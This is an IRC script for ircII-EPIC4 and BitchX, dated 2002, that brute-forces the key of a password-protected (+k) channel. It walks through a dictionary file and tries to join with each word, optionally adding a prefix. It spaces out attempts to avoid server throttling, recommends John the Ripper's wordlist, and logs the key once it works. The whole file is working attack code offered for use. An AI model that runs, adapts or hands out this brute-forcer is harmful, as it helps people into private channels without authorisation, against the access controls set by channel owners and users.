# # bf.irc 0.3 by shiftee (shiftee@manifestation.org) # # A channel key brute forcer. This script will attempt to break into a +k # channel by guessing the key using words obtained from a dictionary file. # # This will only work with ircII-EPIC4 or BitchX. I recommend loading up a # seperate client to do this because it takes a LONG time and really lags you. # # Revision history: # # 0.3 -=( 07-11-02 )=- Now works with BitchX (bah!) # 0.2 -=( 07-10-02 )=- Added -p option so you can prepend things to words. # Example: /bf -p w00 #!w00w00 # 0.1 -=( 07-09-02 )=- First version. # # To unload this script type '/dump bf' package bf # Path to your dictionary file. # # This is default on most systems. I recommend trying the password list # that comes with John the Ripper by Solar Designer (www.openwall.com/john) assign bf.dictionary /usr/share/dict/words # Where to log success to. assign bf.log /home/hacker/bf.log alias bf (...) { @ :channel = [$0] if (match(-p $channel)) { @ :prefix = [$1] echo [bF] Using prefix '$1' @ :channel = [$2] } if (!channel || !ischannel($channel)) { echo [bF] Usage: /bf [-p ] <#channel> return } if (!bitchx() && epic()) { stack push on 475 ^on ^475 ^"*" } elsif (bitchx()) \ { ^on ^window "* [$channel] Bad channel key*" # } if (onchannel($servernick() $channel) > 0) { echo [bF] You are already in $channel, genius. return } @ :fd = open($bf.dictionary R) if (!fd) { echo [bF] Error: couldn't open $bf.dictionary return } echo [bF] Brute forcing channel key for $channel while (!eof($fd)) { if (prefix != []) { @ key = [$prefix] ## read($fd) }{ @ key = read($fd) } echo [bF] Attempting to join $channel with key '$key' //join $channel $key wait # See if we got in. if (onchannel($servernick() $channel) > 0) { pause 2 got_key $channel $key break } wait # This shouldn't be < 2.. the server will throttle you. pause 2 } @ close($fd) if (!bitchx() && epic()) { stack pop on 475 } elsif (bitchx()) \ { ^on ^window - } return } alias got_key (channel, key) { @ :fd = open($bf.log W) if (!fd) { echo [bF] Error: couldn't open $bf.log return } echo [bF] Success! @ write($fd $strftime(%c)) @ write($fd $repeat($strlen($strftime(%c)) -)) @ write($fd) @ write($fd $channel:) @ write($fd Modes: +$chanmode($channel)) @ write($fd Users: $#onchannel($channel)) @ write($fd) @ close($fd) echo [bF] Information saved to $bf.log return } echo [bF] Brute force script by shiftee, loaded.